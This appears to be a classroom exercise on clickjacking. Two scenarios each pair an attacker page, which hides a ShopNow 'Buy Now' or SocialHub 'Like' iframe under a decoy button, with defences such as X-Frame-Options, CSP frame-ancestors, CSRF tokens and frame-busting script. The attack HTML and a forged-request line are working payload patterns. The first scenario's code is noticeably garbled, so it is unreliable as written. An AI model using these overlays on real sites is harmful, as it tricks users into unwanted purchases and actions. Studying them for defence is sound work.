

Scenario 1:

An attacker wants to trick users into purchasing items from one e-commerce website (ShopNow) by exploiting a clickjacking vulnerability. The attacker creates a malicious page that contains an invisible iframe with the “Buy Now” button from ShopNow.

```
<html>
  <head>
    <title>
      Free Gift
    </title>

    <style>

      Clickbutton{

        Position: relative;
        2-index: 2;
        Padding: 20px;
        Background-color: blue;
        Color: white;
        Font-size: 20px;

      }

      # hiddenframe {

        Position: absolute;
        Top: 0;
        Left: 0;
        width: 100%;
        Height: 100%;
        Opacity: 0;    /* It will Make iframe invisible */
        Z-index: 1;

      }

    </style>

  </head>

  <body>

    <div class="circlebutton" onClick="alert('you clicked the button for a free gift');">
```

Click here to claim your gift

</div>

<iframe id="hiddenframe" src="http://shopnow.com/buy-now?item="123456""/>

</body>

</html>

Mitigation:

```
<html>

  <head>

    <title>

      _____

    </title>

    <style>

      Buybutton {

        Background-color: blue;
        Color: white;
        Font-size: 24px;

      }

    </style>

    <script>

      if(window.top != window.self) {

        Window.top.location = window.location.href;

      }

    </script>

  </head>

  <body>

    <h1>

      Buy this product now!

    </h1>
```

```
        <button class = "buyaction" onclick="alert('Product added to count');">

        Buy Now

    </button>

</body>

</html>
```

Scenario 2:

An attacker embeds an invisible iframe with the "Like" button from SocialHub inside a malicious webpage. When the user clicks on a visible element (e.g., "Play Video" button), they accidentally "Like" a post on SocialHub without intending to.

1. What would be the Attacker's Page Design (Malicious):

```
<html>

    <head>

        <title>Cat Videos</title>

        <style>

            iframe {

                position: absolute;

                top: 0;

                left: 0;

                width: 100%;

                height: 100%;

                opacity: 0; /* Makes it invisible */

                pointer-events: auto; /* Ensures clicks go through */
```

```
    }

    .container {

        position: relative;

        width: 320px;

        height: 240px;

    }

</style>

</head>

<body>

    <div class="container">

        <video width="320" height="240" controls>

            <source src="cat.mp4" type="video/mp4">

            <source src="cat.ogg" type="video/ogg">

            Your browser does not support the video tag.

        </video>

        <!-- Invisible iframe overlaying the video -->

        <iframe src="https://socialhub.com/like_button"
frameborder="0"></iframe>

    </div>

</body>

</html>
```

2. Explain the malicious web page created.

The **malicious web page** is designed to **trick users** into interacting with an **invisible** iframe containing SocialHub's "Like" button, causing them to unknowingly "Like" a post when they attempt to **click the video**.

How the Attack Works:

1. **Deceptive UI:** The attacker creates a fake "Cat Videos" webpage to attract users.
2. **Overlaying an Invisible iFrame:**
 - An iframe is placed on top of the video.
 - The iframe loads SocialHub's "Like" button.
 - `opacity: 0` makes it invisible.
3. **User Clicks "Play Video" → Unintended Click on Like Button:**
 - Since the iframe is overlaid on the same position as the video, clicking the video **actually clicks the Like button** inside the iframe.
 - The user is unaware they have liked a post on SocialHub.

3. What should be the design of web page on the server side (defensive page design of SocialHub)

To **prevent clickjacking**, SocialHub's server should include **security headers** and implement defensive techniques.

Defensive Design Implementation:

1. Use the **X-Frame-Options** Header

- This prevents SocialHub from being embedded in iframes.
- Add this header in the server response:
X-Frame-Options: DENY
-
- If SocialHub should allow embedding only on its own domain:
X-Frame-Options: SAMEORIGIN
-
- If embedding is needed for specific trusted partners:
Content-Security-Policy: frame-ancestors 'self' https://trustedpartner.com;

-

2. Enable CSRF Protection

- Require an **anti-CSRF token** in all authenticated requests.
- Even if an attacker tricks the user into clicking, the request **fails** due to the missing CSRF token.

3. Use JavaScript Frame-Busting Techniques

- Prevent SocialHub from being embedded in an iframe using JavaScript:
if (window.top !== window.self) {
 - window.top.location = window.self.location;
 - }
- This forces the page to break out of any iframes.

4. Explain the defensive page

The **defensive page** ensures that SocialHub is protected from **clickjacking** by using security mechanisms like HTTP headers, CSRF tokens, and JavaScript.

How the Defensive Page Works:

1. Prevents Embedding in Malicious Pages:

- X-Frame-Options: DENY ensures SocialHub **cannot be loaded in an iframe**.
- If embedding is required only for SocialHub, SAMEORIGIN ensures it **can't be embedded by attackers**.
- frame-ancestors in **Content Security Policy (CSP)** allows only trusted domains.

2. Ensures Legitimate User Actions:

- **CSRF Protection** ensures that only a user's authenticated session can send a "Like" request.
- Even if an attacker tries to send a request using JavaScript (`img.src="https://socialhub.com/like_post?id=12345";`), the request will **fail** due to missing authentication.

3. Breaks Out of Clickjacking Frames:

- The **JavaScript frame-busting code** ensures that if SocialHub is loaded in a hidden iframe, it **automatically redirects to the main page**, making the attack useless.